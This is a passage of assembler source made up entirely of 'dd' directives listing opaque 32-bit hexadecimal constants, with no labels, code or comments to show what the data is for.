dd 22A53EC3h, 0EA989428h, 5140BCC3h, 0C60EAD8h, 0B549CA0Dh
dd 33C0FB4Ah, 0C57B0D48h, 0D05D4963h, 1437FFC5h, 0C7D6BBE6h
dd 80A67947h, 6E3272BEh, 93190306h, 0B0B3CA91h, 0E4F228DEh
dd 79B24D46h, 0AEE1E518h, 50DC2D6Eh, 4893D0FBh, 803F80DDh
dd 62CD669Dh, 2E56ED9Dh, 621DDD29h, 214F8C30h, 61DFD912h
dd 0F84262AAh, 829F53D2h, 59E78963h, 0F53A0799h, 3CF23417h
dd 0E5A5FD3Ch, 12341420h, 9731655Ah, 29BB033Ch, 248ED147h
dd 19F2E86h, 80BF256Ah, 8CE3FB7Eh, 1720952Dh, 487E3B5Eh
dd 25B96354h, 0D2507784h, 0ECB26D27h, 49F1416Eh, 268C6C58h
dd 0BB76533Bh, 5AA550CCh, 5542A89Bh, 0C45212C1h, 0A3D087D6h
dd 79A768D9h, 0C966F5E3h, 0A4F596E1h, 0C81B2272h, 1AA094CBh
dd 987D5765h, 3453A9A2h, 0A67843C5h, 94DE1BD0h, 0E24FBCF7h
dd 0A16F52B1h, 52CE6F40h, 0DA58C5F7h, 348F0A48h, 875D0655h
dd 0CB15FE5Ah, 3574796Dh, 21BDEA04h, 33D40FFFh, 354743C5h
dd 68CD06ADh, 0D8965B9Ch, 0BE7AD4FBh, 0BEA1926Bh, 0AB6B5D5Ch
dd 0FAEA8F47h, 0CEDEA958h, 196C6879h, 243E4DF6h, 0A669A0CDh
dd 4DECB129h, 79FE2419h, 7AEC3E10h, 8E53BF0Ah, 99488C03h
dd 61090EF5h, 0FFA89B3Eh, 427604B6h, 7FF096AAh, 296DE62Ah
dd 0E58C5881h, 3CF5AE10h, 0CA805FEBh, 4AF98BD5h, 95109D4Bh
dd 9F678401h, 27F8CC5Fh, 0A41E74C4h, 4A06D1B5h, 0FF36FA5Ah
dd 0D843B925h, 433A19ECh, 85714CE5h, 5FCE112Bh, 7A6D672Dh
dd 84AAB5B9h, 0DCAFB10Dh, 0D84FFBDDh, 82DCCF82h, 21A4A029h
dd 36FBDEACh, 36A18594h, 0A70E539Eh, 0CB1FCDE0h, 1A66BB2Bh
dd 0D8D42E8Ah, 0A260F2CCh, 0CC603111h, 0C41B62D4h, 9C2218D6h
dd 9F5AEFFAh, 79CB7D64h, 1692FA7Ah, 0A9BE249Ch, 819E798Bh
dd 380437C7h, 3CBB5E04h, 451C9AE4h, 2B50897Eh, 857B7799h
dd 30E707F5h, 4DE14E25h, 6261D632h, 1D2072EFh, 71357A38h
dd 0D48A5946h, 0E276C804h, 0F685E367h, 66C86EF3h, 520911B8h
dd 1A781F6h, 0F9AE220Bh, 66D1658Fh, 24594383h, 968E6E8Ch
dd 2EAEF741h, 0C5545E31h, 9BC15898h, 89CDBD49h, 9434A710h
dd 9D5AFBCCh, 0DDBE607Ch, 9E39FBA7h, 387AD02Bh, 193FC78Bh
dd 0AA4F7F63h, 0A5737B63h, 0C70221A3h, 3E15B2h, 0ED23191Dh
dd 9FA2E0E6h, 0BFDB8CA8h, 23C8F173h, 0B2F73B77h, 0D381595Bh
dd 21E2701Ah, 23EC03FEh, 0FC16D2CAh, 68166656h, 16AD7B0Bh
dd 12CFE204h, 0B2027AEh, 7C87F4B1h, 462CB4FEh, 0D779AF96h
dd 6AB92F68h, 8E4B022Dh, 0ECE7E1BEh, 0C15FE2FCh, 75338F16h
dd 0D9CEC618h, 99B38C05h, 0A0A5D6C1h, 0DC3F36CBh, 0B0BDCB67h
dd 94AD4F98h, 7FF44291h, 204C64D5h, 2FB80E48h, 4988A2B3h
dd 6695C8E7h, 0AA48266Fh, 715321BBh, 0F8D52277h, 94499E4Eh
dd 0CDC93F9Ah, 93CD0976h, 679D9E84h, 71F521EBh, 9DE02B7Bh
dd 7B5595Bh, 0E93AE094h, 61B6A169h, 0E6332868h, 2A75D65Ah
dd 87B84143h, 0F1ACC536h, 0AA6722F6h, 56C6752Fh, 55910978h
dd 4FD0CCC0h, 12212728h, 0A0DCA9Eh, 0E76774h, 494B6926h
dd 266FAB1Fh, 4B8CB95Eh, 44F6DAD1h, 0DA04D233h, 47B52189h
dd 0E42F0F01h, 0F9151C7h, 0E0D0FA94h, 236C13EBh, 0FC5A65D2h
dd 0CB3D2905h, 0D6E9F234h, 416F42B5h, 5758C6E1h, 9CB41BA1h
dd 51B80BECh, 0BCF8A8F9h, 69534D9Ch, 0A043EFE1h, 14335BD5h
dd 7444F302h, 0B565E9E3h, 2B28480Bh, 0F4FE90C7h, 0C1D4D1E3h
dd 8E22A78Ch, 8B947610h, 91784978h, 889F04Bh, 70ACABD2h
dd 78D2D4C9h, 2DF9115h, 31B4A110h, 3AC331DCh, 30832928h
dd 363FFDAh, 0DB31774Dh, 714940EEh, 0F2F8261Fh, 9042FA0Dh
dd 85A5AEE9h, 5BB2C9BEh, 35339FF8h, 0DAEA69F1h, 0BB26801Ah
dd 4728E02Eh, 5942021Ch, 14F47605h, 0B91DC88Ch, 2829CEB2h
dd 0E68EA33h, 0A8062564h, 14082B92h, 1FF2F5BFh, 0E72BEB8Eh
dd 0BD7B60ADh, 0A063E1CAh, 272535B2h, 27C7AE95h, 6488C5FAh
dd 356F6CCAh, 0A07F5073h, 604EA71Dh, 43AD0506h, 0C412C407h
dd 528D633Ah, 7C464FAFh, 4EA34EADh, 74457E17h, 612F5C11h
dd 0BF930324h, 18A9FD8Bh, 59380613h, 26B3BD69h, 45213B14h
dd 0CB663FC7h, 0E64CA699h, 8517BFE7h, 4393A1Ah, 0CDD01A71h
dd 0C115C7C7h, 14C86E72h, 5E47AF14h, 6949EDE0h, 6364C871h
dd 0BBF2945Bh, 0A682015Ch, 0F6173658h, 2631FC80h, 0A5FCA135h
dd 0DF850B75h, 676FC564h, 0D96DA3E8h, 0CFC969B9h, 0D1F68F98h
dd 663DC935h, 0D597BDF0h, 73DB59DFh, 604C3FA1h, 5D49B4ABh
dd 0A3C5BD3h, 0B8830C78h, 0F8BEA35Eh, 0CFC2C812h, 2568182Ch
dd 74CF486Ah, 0DED2ABFFh, 3268860Ch, 4E775A76h, 79C1965h
dd 0AF79283Bh, 1D593287h, 19D71146h, 0A4F07BD2h, 6B1A668Ah
dd 13B70DAAh, 0E678BD01h, 85CFCD95h, 69E345Ch, 5BAA844Fh
dd 1BA8AAA5h, 88D111ACh, 0CF8ADF83h, 76B569ECh, 0AD602958h
dd 51A5F2Dh, 856C962Ah, 0CC3E5F86h, 0E9ABAC61h, 5D6518E1h
dd 3319C022h, 410CE35Bh, 2E282E94h, 6E20C913h, 3AE3ADE2h
dd 9431C622h, 6F6285F9h, 0A00B2A7Fh, 8CB40B94h, 0AFB6539Ch
dd 99401A56h, 7795315Ch, 0D3F8E782h, 707D04ECh, 0AD6F6043h
dd 0B883EFBFh, 976D62C9h, 0DDA1E965h, 0AB16D45Fh, 8A645C66h
dd 8C82ABAFh, 50460AF5h, 0AD2BD2B9h, 33D95AF2h, 38A71259h
dd 6608FFCCh, 0ADDBC850h, 4C962F77h, 0D5BE1202h, 331851A0h
dd 3D11B801h, 2DD895BEh, 320DA108h, 3DC10B7Fh, 1BCF98A9h
dd 0E166C3BBh, 0BEB234E0h, 0C120756Fh, 902293D2h, 254039AAh
dd 178E48BDh, 67569DA2h, 0DD23C986h, 9E8B9F2Fh, 84888E15h
dd 0BED26E80h, 0E2840855h, 505DBA5Bh, 0C8D29D1Bh, 9503B749h
dd 0E1DEA929h, 0E038D2Ah, 76EB8CFEh, 11954676h, 0BF3C4F2h
dd 0ED303C15h, 3BEFE5E4h, 16D40BF6h, 4969A2CCh, 0ACE62719h
dd 0F507DA24h, 0E389F08Dh, 6AFA0798h, 1A6D2D81h, 0D23CE019h
dd 2EE5BC95h, 10E87DA5h, 0F834D717h, 0F6242145h, 0BB8424C1h
dd 0A8B2AF69h, 313FC157h, 0ADAC87C7h, 0C18F08C3h, 8C20350h
dd 0DFAC74F3h, 6F8BB244h, 0C911CFEh, 4C34195Bh, 0CA9E6E1Fh
dd 0D41ACC84h, 0D45935Fh, 3E3C4AA3h, 77D43C36h, 0C230207Ch
dd 4ACA242Ch, 8609CF72h, 585E624h, 8BD6F09Eh, 0E2F60F95h
dd 556AB2CFh, 93A72B3Ch, 0A8CECF0Bh, 0F27FACF8h, 46BC9C24h
dd 716B371Eh, 86178DA5h, 8322EFADh, 0D7DD0895h, 61BE5CA7h
dd 3D979DD6h, 0F9E40246h, 6C17B45Ah, 0BBA95C04h, 16EC1ADBh
dd 0C331B080h, 9F7ACB0Dh, 876C6259h, 2E5258C6h, 0B4929A8Ah
dd 0E47175EBh, 960F94A2h, 70175C0h, 0F0EA7C49h, 9423251Fh
dd 0E41807F6h, 9199518Ah, 0C6E9B68Eh, 0D9B7EDF6h, 7CBD6F22h
dd 0DE503E07h, 9857AF02h, 0F1CCD27Fh, 5645E257h, 74819037h
dd 139D5F84h, 23BF898Ah, 5DD3931Eh, 6A578E81h, 5D174261h
dd 32941653h, 4B2744A9h, 0CC530DE6h, 4AFEC109h, 8DCEFF76h
dd 2076060Dh, 982AC649h
dd 68EEC6D4h, 94C34285h, 0BEA4D420h, 0FC56F2EAh, 0DB2FD568h
dd 0A5C4DB93h, 82B56111h, 0D9267397h, 2BD1B9D9h, 0F2DFFD34h
dd 58C7E528h, 0F8D43CA0h, 78C34C07h, 9F68463Dh, 0DCE9B8B1h
dd 721F744Dh, 26DC7018h, 37D4F2D2h, 7D3A3E4h, 0B52EE615h
dd 53134A7Bh, 5D959BDEh, 941F7D19h, 78BE757h, 7A3817BBh
dd 0EA8C5BD8h, 0FE9C3E9Eh, 150EE753h, 0DDE0BD2Ch, 54D7A2DEh
dd 84FBE02Ch, 98ACFF73h, 3AD7B702h, 0E8C3F5C3h, 0DA2D6783h
dd 2535918h, 3AA57B14h, 31EDFD43h, 76EF5EA9h, 1C1BB6B8h
dd 0B4761549h, 0FAE42FD9h, 122D97E5h, 58B12E4Bh, 0A78461AEh
dd 81DF753Dh, 0D5A58BFAh, 0BD2A8BEh, 8F2D7B31h, 0D1B5E800h
dd 649AA34Eh, 3A38D485h, 0E77FF570h, 3B8A310Eh, 56DB597Ch
dd 0C6B4FA04h, 0BB66EFF6h, 3A9E703Ch, 0E6BC1F1Bh, 6C3D7AB1h
dd 47F3A874h, 85983A96h, 61F7F9A4h, 0DD1BC17Ah, 0AE3D4F15h
dd 0CFDCCBFEh, 19DEBAE9h, 3F833485h, 5BCD653Ah, 0F14DE63Fh
dd 7EB4E340h, 1DBF34AFh, 60243297h, 0B2CB5FACh, 82647442h
dd 0A1F7D7A9h, 0B137DCEAh, 0B4B19F9Fh, 0DA6EF70Eh, 0FA6671F2h
dd 3F2BE3A5h, 0BCE0B928h, 0EF3109A1h, 8DAA0329h, 0C355B3D3h
dd 6C28AB15h, 0D8B72E58h, 7BA4917Bh, 0F4286Dh, 70651479h
dd 0E558C38Ah, 596959Dh, 5ADD0964h, 1E9D9955h, 0DBF5F8E0h
dd 25F85204h, 8CB0AFF6h, 0E800DD7Ch, 0D553F1C7h, 4079B90Dh
dd 9AD825F0h, 580836BFh, 0C3CE4643h, 113DADC3h, 66C5D693h
dd 782EA131h, 0B6A840Bh, 564403D7h, 35B8CBF7h, 0AE1C8D2Bh
dd 4C91A76h, 5785A79Dh, 31D15741h, 1000BCCFh, 0C228B866h
dd 21011CD3h, 0E3D586A4h, 4696DB51h, 3400FB51h, 8DBB9C7Ah
dd 6FC6F7F3h, 0F2F84156h, 52D3017Dh, 0FF138F3Bh, 4ED1CDAAh
dd 0CBBEC765h, 2C933D41h, 36A9B259h, 0ABF117B7h, 3BF360B9h
dd 1D40AFC8h, 5A9B44FFh, 921790FBh, 0A38083A8h, 5DAF14EFh
dd 6EAE283Bh, 0F96BEAA1h, 0A60FF12Fh, 0F4CA4C4Bh, 23F05B30h
dd 0B9268B8Ah, 39B8403Fh, 0C1D9FAE6h, 3FD975Fh, 252FC9F8h
dd 98CF3FD1h, 0E06906D6h, 0A5F1C322h, 390249D4h, 2A2EE7C3h
dd 28054C00h, 306686E1h, 0B987333Fh, 9AA5D4D9h, 4D21203Bh
dd 493E9B1Fh, 1DA348E5h, 0DF0BC924h, 3A7D0E2Ch, 0AC2985EDh
dd 5452A666h, 0E924239Ch, 0C5A67E69h, 17C81050h, 0AEDB8604h
dd 5F41300Ch, 18E8B38Fh, 5FA68650h, 3489B7CDh, 116DBBF3h
dd 0A473EFCDh, 0BA13A78Ah, 69A4BBEFh, 8F498D64h, 13CD122h
dd 6B93F986h, 0F4503EA6h, 0B74F74D0h, 0F75C0DE4h, 15DFBB6Ah
dd 7CB47816h, 0BCE2DB47h, 7F87420Ch, 3B3A918Fh, 0A1442A0Dh
dd 9C3EC672h, 4EE2D201h, 95EF6F5Ch, 91C26F98h, 0C4E453B0h
dd 0DE4FD0EFh, 0AAEC2C5Ch, 928C55CDh, 8A5C02FFh, 83B696BFh
dd 24761B6h, 129A60CBh, 2BABD5FEh, 0F0E1A54Eh, 0CEFF6350h
dd 396DDF29h, 17887446h, 0A0EC59D8h, 198315Bh, 58B203EDh
dd 10C95AD4h, 0BB061A40h, 9AE1DB69h, 0FAA5E592h, 98D54901h
dd 996FF60Eh, 0A6947C5h, 207D6D7Fh, 50739AAh, 0AAD850FFh
dd 0ADCABA48h, 326EB585h, 0EDABD9E2h, 3B11D2Fh, 0C661D1EBh
dd 0AED9A730h, 994217C9h, 0B810BE24h, 0FECE2C75h, 99DD8945h
dd 716484ADh, 3DA083A5h, 337BF371h, 4EFA1875h, 0E09204BDh
dd 0E32A994Bh, 3815655Eh, 596023F5h, 97F46AB2h, 801AEAA8h
dd 993D8096h, 0F123CE66h, 82391E7Bh, 0A310E2EFh, 280348E2h
dd 0A2E31E31h, 53161D5Bh, 0FFDDA974h, 63C10B2Dh, 0A71B0201h
dd 0CA43918Ah, 0E147C035h, 132DB31Ah, 0C02630Eh, 1AC53661h
dd 0DA4231E7h, 7C35103Ch, 0D16740B5h, 0D3D9DE8Dh, 443B851Ah
dd 56EC72D0h, 4257DF27h, 7ABA77EDh, 463FAA61h, 93A68288h
dd 5229BE11h, 75A1F0E7h, 4D21F53Fh, 3B8D49A7h, 66248A01h
dd 0FF0E25E6h, 9698027Fh, 6504EB1Bh, 1EDC41DCh, 0DD66EA9Ch
dd 12B357E3h, 0BF8AA396h, 0E427D0CEh, 0A317945Ah, 80D5E0FBh
dd 0C4B54396h, 52594E48h, 0A4857EFFh, 0C61EA1F4h, 0DA28CE65h
dd 0EF80779Bh, 0E0BAE23Eh, 93FA6E32h, 18A785CEh, 2B677D4Bh
dd 44974286h, 0EE168328h, 59984D90h, 0E91536D1h, 0BF9F611Ch
dd 6CBC8526h, 15F1EA6Eh, 11BA4B45h, 60341CBDh, 0F154192Bh
dd 5B5F6309h, 84153259h, 168AD8EAh, 0B07E0070h, 0E7C72F41h
dd 850BE971h, 0A190FBF2h, 0A1FE38E4h, 879F186Ch, 22A4FA7Ch
dd 6B53A155h, 6186D51h, 0EEA1715Ch, 5D4C42h, 0D3447BC8h
dd 0F23DD4DDh, 6783EC5Ah, 113760C0h, 0B07F5305h, 811D84A3h
dd 0DB524B0Bh, 0C837CD36h, 0D43FC5C9h, 1ED2B7FDh, 882F36A4h
dd 603C3894h, 0DDC40527h, 4E70129Bh, 1B20DF30h, 0DB2EA3D0h
dd 6D10227h, 4EE21EEh, 838ECECEh, 0BB39F0F2h, 0D1EA3357h
dd 16FD6E51h, 9F8D6C7h, 0A2FD8D08h, 0DABDA94Bh, 0DC6E95E0h
dd 0B85B46D1h, 76F94FD8h, 18E45378h, 6BCA0785h, 8A650097h
dd 603FEE3Dh, 7DF99A11h, 3C21A006h, 49315E22h, 94614EACh
dd 9BE99E1Eh, 8BD57960h, 0C4645A2Dh, 27A8C4C9h, 3352514h
dd 536E24C7h, 0F3897EA0h, 554BA0CAh, 0E1D8F288h, 8BC95A0Fh
dd 329EF1EBh, 8CBEABFAh, 14FDC919h, 90972AAEh, 5B014B7h
dd 0E8182E4Ah, 513A1E29h, 6ABFF74Dh, 45A089D7h, 136A932Bh
dd 52AEF86Dh, 55A2977h, 0BF6E0077h, 7A1E733h, 6BE518A9h
dd 0E02292AFh, 67417AF8h, 3519A368h, 0D34BD736h, 4CC3D128h
dd 5AE064C4h, 493935ADh, 0DC251878h, 0C0ED5D11h, 36414529h
dd 0AD354D21h, 0B320AD35h, 65310F1Dh, 926C5149h, 9E9122DEh
dd 9E6C9EA0h, 873EA06Fh, 0F070631Ch, 46257DDBh, 1FE8686Eh
dd 2A36B842h, 4D748655h, 11A3B7E3h, 0F5673E73h, 93DEF158h
dd 9A911256h, 31D0E7F3h, 134CD4BEh, 3DED8CF0h, 0D6A157h
dd 0A35A8772h, 91C40909h, 236E0545h, 14192A54h, 6E797264h
dd 840A6E1Dh, 3A003074h, 73936990h, 35FFF45h, 568070C1h
dd 8D9D7C1Ah, 21BBBD64h, 12B4B6C3h, 4B696A5Ah, 7A97F4D4h
dd 0A992AD05h, 0B1A0869Ah, 0EA4C1BE1h, 52C4F69Ch, 89A180A0h
dd 0FDFA220Ah, 0B784E434h, 0FE843953h, 0AAB2BFB8h, 2E53DE23h
dd 3FF5BD46h, 9A3967E9h, 1F49ACD5h, 0F809E2A2h, 4E12F098h
dd 7991F9D4h, 6A50D70Bh, 0C2F9F2B2h, 4F3D0107h, 0E9C17F3h
dd 0C925E408h, 3ED04626h, 4C62C0BDh, 594E3C50h, 114D714Dh
dd 0D23578DDh, 7725B379h, 0DBD1DB48h, 0A9DCD6E4h, 0E798A8A4h
dd 141840FEh, 0B7083FCDh, 3BBB3BC9h, 38E17AABh, 0C51ACABEh
dd 9748E40Eh, 31E0B6D8h, 62DF5992h, 0F607FD19h, 0FE8B0268h
dd 0BC9BA235h, 8D484386h, 0C48613D4h, 9F0492C2h, 8787D8B4h
dd 37A87CA5h, 5774C5E1h, 0B1672BEEh, 492578A1h, 455A4899h
dd 1917742Eh, 0E2511435h, 0E071FEC9h, 2E531781h, 77FD909Dh
dd 0DF5043B5h, 2599D2EEh, 3A5A7EA2h, 0A83D854Ah, 16ED5A49h
dd 0C255AD2h, 0D968082Eh, 4312B24Fh, 0A57184C7h, 10FCC699h
dd 0ED2FAEBDh, 9BD8E0D0h, 58597BB9h, 1C7E739Fh, 1DD6A02Fh
dd 11EC9261h, 5557A558h, 80B2E43Ah, 0EEBE639Dh, 9FE16046h
dd 15E358E8h, 5DCA9672h, 0B2CFFDC2h, 4067FA9Ah, 1DFBCB80h
dd 0FC000FC4h, 4522498Ah, 75E6FBC9h, 546E3440h, 89763AA1h
dd 9AFD5C3Bh, 0B5F46DECh, 9EE02CBAh, 0F600B8C9h, 92595C48h
dd 0F31E85E7h, 0B686225Eh, 6C27A5D7h, 26885054h, 0D27B3BDBh
dd 0E7B557C4h, 0BC18738Ch
dd 3D2D9741h, 91B31DEAh, 3FFE776Ch, 742038F7h, 43396283h
dd 0AD0DF92Dh, 0D8B69C59h, 6C3453B0h, 5E05290Ah, 0A92FD9C4h
dd 0B9B37659h, 0EC33B553h, 0F535AD42h, 0CCAE512Bh, 4466F79Ch
dd 0A36280EAh, 73ABC45Bh, 12EB4148h, 0CFAE53ADh, 3565B9C2h
dd 0AD653F20h, 0F980EFA7h, 17B9FCF6h, 0B5B91C2Eh, 0FEB8967Eh
dd 279F8A32h, 0FF0E6249h, 0E3A33CF0h, 950CB4EEh, 8BABC543h
dd 5357FDCDh, 9C1D228Eh, 1E7D618Ah, 0A77D899Bh, 9530A391h
dd 0A2E21511h, 92F5D845h, 549869D2h, 0CAB65E50h, 0E8925B52h
dd 0F28476B8h, 8E8D6F31h, 0E5C6530Eh, 0DA4827AEh, 0FB2C9D3Ah
dd 97C3D86Eh, 0B0CD529Eh, 7A24A6C4h, 6DBA00C5h, 450BE158h
dd 91BFEB32h, 90891EB8h, 0F349F2ADh, 294D71F4h, 811391E4h
dd 9C448A62h, 73DD877h, 0DCD1FE1Eh, 2CB4D707h, 935495CDh
dd 0F06BC45Bh, 99BDE718h, 69CEBCAFh, 3B427AC0h, 0DBB687BFh
dd 0BDECDDA6h, 0A47E2500h, 0AE9FF925h, 0B14F3D29h, 2C1C359Ah
dd 9FA5E429h, 74400B5Dh, 964B7EADh, 188BA406h, 0F7FB56B1h
dd 4114C301h, 0A6542B1h, 0C24B9BF6h, 0EBBCE2CDh, 3DC06D85h
dd 7977E98Eh, 3328AD53h, 1C85BD2Fh, 6A2E230Fh, 8B9EBCBDh
dd 89CA707Bh, 145A23D5h, 0AA1F22F1h, 2FBF72F0h, 11633998h
dd 93EE53A7h, 1E1469E8h, 4849D13Dh, 99E884EDh, 0C98C20E9h
dd 9AB62BDDh, 0C0FEA255h, 0BE4002E2h, 16EDB357h, 73428B07h
dd 827E88B4h, 0AD9913DBh, 168C9BCDh, 83E74139h, 14AE1A82h
dd 0B95A4CB3h, 3DAF3B65h, 431D14A3h, 0C697E499h, 3B3B4820h
dd 41272169h, 4A34C771h, 4EBFF11Ah, 256CA26Eh, 0DD15D459h
dd 0E1468C79h, 604E8E73h, 0C4DDA01Ch, 63468C5h, 51D4DE80h
dd 640C1E20h, 3B07FF3Bh, 0E8C4CDDh, 2A2529F5h, 0D96B0489h
dd 0E13E132Eh, 0BC62272Ch, 4A30EA39h, 0CB8AFC0Fh, 0D71590E9h
dd 8B4675DDh, 44DC5FDDh, 0FEBF4B35h, 0A446C673h, 306B9395h
dd 8EBF035h, 456FEC75h, 76E852FEh, 0F3A11C6Ch, 74E586B3h
dd 0DF098101h, 0D5E0F5A7h, 7FFF96CDh, 94953B5Dh, 0D0035626h
dd 0CB3BA190h, 6F5D0686h, 6FAAAA0Dh, 9FF4FFB8h, 8E78F36h
dd 417BA933h, 9AA683D0h, 1BE3DF21h, 7BF8EB6Eh, 60C34BD3h
dd 254B8EF8h, 0E2928DEh, 0B26A11F2h, 30B9A3A9h, 230D8726h
dd 0BC926C5h, 0DBB204A6h, 0E5015976h, 4CEE455Ah, 643C5648h
dd 4B71EBB4h, 0D8091B38h, 0D3C55C58h, 0E204CB3Ah, 8417926Ch
dd 999DE7Ch, 0E7DA270Ah, 836F5E1Dh, 1A75767h, 0F0F23279h
dd 0EEA02ED8h, 2BCDFABh, 0D064927Eh, 0F33367B5h, 99ACDCD8h
dd 21B623D1h, 0E22E9D7h, 10D91B8Ch, 0CD3825A3h, 0B91ABB3Fh
dd 876EB34Bh, 70280F4Ah, 9BB226D9h, 646C3436h, 1267F61Dh
dd 0FCDCA648h, 0A8FD6A19h, 4F9CB6D8h, 3B2097DAh, 6C3318A9h
dd 8647929h, 0E984F4E2h, 0DEEA847Dh, 0E6CB3F3Dh, 5FF571C4h
dd 1C93CF3h, 1E8D93ABh, 181F6C70h, 67B0A2Ch, 62D6C740h
dd 2CAC30EEh, 0E7776229h, 9D1521E0h, 0F890D928h, 5B074894h
dd 723DB4A7h, 7775576Eh, 88C01A75h, 0CB104270h, 45B83389h
dd 879D2CCCh, 0E9179249h, 34DF326Eh, 0C77C2DF0h, 7F9BB5CAh
dd 1409A5CFh, 0E720A130h, 0EEBD9869h, 323A13DBh, 0E1FBE769h
dd 1FC97E9Ch, 8B3B71C5h, 7F64CC03h, 2B30DF7h, 0B42504B9h
dd 0BFDD977Fh, 0ED59FF89h, 5A546274h, 0A7A3FE20h, 57F5F474h
dd 9337B4CDh, 7C54FAA2h, 0C782C5E4h, 0CC76F514h, 1819D935h
dd 4AB7CBB8h, 26FC0E1Bh, 0D3BE5CE7h, 203CCD16h, 82D52E9Fh
dd 0D7CC8370h, 0F8B1ABA8h, 0E21CF63Bh, 4D625887h, 0F86BE6Ch
dd 4250BC4Ah, 0BF81A4F4h, 28B75B94h, 0BD418222h, 9A5FC101h
dd 0D5119590h, 7E289D95h, 6E470CA7h, 34C5764Fh, 0C8EE86DBh
dd 967196B0h, 35B29906h, 0F14CBD5h, 71E24851h, 1C06534Eh
dd 0F3EAEBCCh, 94297C6Dh, 51887FD2h, 11521E57h, 75D5339Fh
dd 0B2163572h, 2F7EBE33h, 0A50DB8D5h, 8A7E2h, 36F2BA03h
dd 0F4C3CA41h, 37B7B669h, 35208ED8h, 2090058Fh, 24D0B08h
dd 4E3AEEFFh, 0AD878639h, 51C19A2Bh, 548DAE26h, 0C0D01870h
dd 4E899BCBh, 0F2D19460h, 0C4A0FC7Eh, 0B033BE1Dh, 0DAFA96E4h
dd 2B10ECD2h, 0B6FFF945h, 61504AE0h, 8A391DBCh, 0FB10B19Dh
dd 89AB2870h, 93D48E18h, 0ADE65AB5h, 0D16D8D54h, 8BF18864h
dd 0F3DB00A6h, 440EF2A7h, 0E529B8D4h, 0DF593177h, 3A0C814Bh
dd 0F9B67764h, 36184C6Bh, 0B0685747h, 976BB637h, 81242D06h
dd 5541C12Ah, 0E1BED7EBh, 21E6804Ch, 0AA179A25h, 80CB16F5h
dd 0E7AABF38h, 7449917h, 0EBCA969Eh, 0B59344D2h, 4A702F1Eh
dd 4BA81EB2h, 3397A35Ah, 62F59F33h, 0B62BF5B9h, 3A025865h
dd 0C59489E1h, 0CD4CE9EDh, 44178195h, 16C2024Dh, 0BC2FCB2Eh
dd 47AB4EBCh, 456FA424h, 4BB10CD6h, 9287ADFBh, 22CC4B25h
dd 9DAAE8C8h, 0B869E385h, 8C821886h, 8B03FD83h, 0E72B7406h
dd 0E4719298h, 80ECF322h, 237DCDAEh, 0D30F31D9h, 3CAE245Bh
dd 0B9B69A29h, 4F79397h, 72DC42ADh, 905D16Dh, 2C69BFF3h
dd 741208A2h, 65214232h, 0E479EE14h, 660C522h, 0BA000283h
dd 0A56D7F85h, 57B56E75h, 4FAE40C6h, 0D516E206h, 7DF90B56h
dd 2243A2C7h, 178F3F88h, 0D6271FA6h, 15578602h, 3FE1F5CEh
dd 4AD56537h, 4D7FB676h, 0C551763h, 26716349h, 2085D245h
dd 3A1521F0h, 12354E03h, 0F3C774FCh, 0CA1882ECh, 182FD728h
dd 2CA2D019h, 0B328742Ah, 31871DE7h, 4F0C50DCh, 0E4509E5Bh
dd 45C1435Dh, 288CF46Eh, 0E3E728B4h, 67E10A23h, 0E615546Ch
dd 80492112h, 5E2181C6h, 21AEA90Dh, 0A0656A05h, 0DABA571Bh
dd 0B94D63E5h, 7E8EC870h, 25691733h, 0AC1B7128h, 0E05C1468h
dd 1E420062h, 0FE3B6D55h, 0ECFD0EF9h, 6590EBC4h, 650B7E9Bh
dd 0D65A058h, 26945451h, 91CC0CB2h, 0F59D727Bh, 759BF6BEh
dd 5027A1C4h, 14A5A124h, 6771A9ABh, 8C841376h, 0DB5305BDh
dd 0EF9C7C69h, 7026E113h, 436E38A0h, 0CA7BC70Ah, 9B10E7Dh
dd 0BAE272Fh, 6835DDB2h, 465574B7h, 0A3C273C9h, 876BF973h
dd 17EDB985h, 699C00ECh, 9E54C0C4h, 0CD7B6FE2h, 0E0DA6036h
dd 427E73C7h, 396CB5EAh, 0F2B71331h, 588797F3h, 6F1A027Fh
dd 9FDD4ABBh, 0A2167364h, 1253D49Bh, 7C5E2799h, 9F7ED904h
dd 6776E420h, 4E2DDC0Ch, 0D491B791h, 32C8B07Dh, 0D4500F9Fh
dd 76B7BFADh, 0B4E4E42Bh, 97DAFDB9h, 33EAE5B8h, 599842E1h
dd 23D9AC3Ch, 3F40C99Eh, 5549851Ch, 0F881D7BFh, 0B61FF0B1h
dd 3598FE06h, 7351741Ch, 26169D4Eh, 3AC4FA6h, 7FCCB3DBh
dd 25F998FBh, 7C700F94h, 1FEC930Eh, 697DB6A9h, 8C5448EFh
dd 3F93900Eh, 0B219794h, 7B00937Eh, 12C6149Ch, 1E35789Bh
dd 8A857783h, 0BD01B249h, 8B664A5Ah, 86565A1Dh, 591F5A3Fh
dd 6BAA7EA6h, 17C72A7Bh, 7A56F484h, 877DBA3Ah, 5A8FEFDAh
dd 8AEC81A7h, 2D456B6Bh, 0CDA230F5h, 0A1463A18h, 34ED5D5Dh
dd 9059B0AFh, 505C9C4Bh, 9D7DBC23h, 30D7CFCCh, 0E110EAD9h
dd 0B0FCEB47h, 0DD7CEAECh, 0A2B33C4h, 8902A0F2h, 3DA3B537h
dd 0E02B891Ch, 0FF0C3C5Ch, 43DE9201h, 0DAB84FDEh, 5616975h
dd 0B191A7A9h, 4301B8DAh, 6BF20B6Ch, 5CEACA34h, 191F0362h
dd 852B733Ch, 3FE1A23Fh, 202329C4h, 8317A87h, 0A6D5091Eh
dd 0AAF251B9h, 0E819E12Bh, 2822B366h, 898521ADh, 2A4847CCh
dd 0D444BD1Ah, 271A83DBh
dd 3C44D9E0h, 0BD0E440Bh, 0A354A042h, 0BF5740FAh, 3A9B36ABh
dd 2BDF1467h, 0F0B79B16h, 149715ACh, 0F2B8FF60h, 0CD9CB8F3h
dd 46DD56B2h, 0E9AB410Ch, 8A535842h, 0A036F887h, 0ABDC2258h
dd 85B829DCh, 0DDDAB535h, 0F8F507FEh, 0E1270952h, 64AB8449h
dd 38F080B6h, 35258D13h, 0A01D992Dh, 33BF5AAFh, 9F04EF32h
dd 0A9F937FDh, 53D05030h, 0FA126A53h, 152C7826h, 2B95DFE2h
dd 5B7E00Ch, 0ABC330A7h, 77E974BBh, 5D2FD3E6h, 0A1D21DC3h
dd 9C991DF3h, 7D6505ABh, 12883ECh, 12FB52AEh, 0BFB8919Eh
dd 83A5885Bh, 0CA59C055h, 0F3F4A6E4h, 2CE9656Bh, 28FDBE71h
dd 5353E879h, 0AD586E9Eh, 0E869E02Eh, 9593359h, 2BB94BB2h
dd 28770CA3h, 0DA9091F6h, 0C92153B9h, 0A84FD79Ah, 6B821EC3h
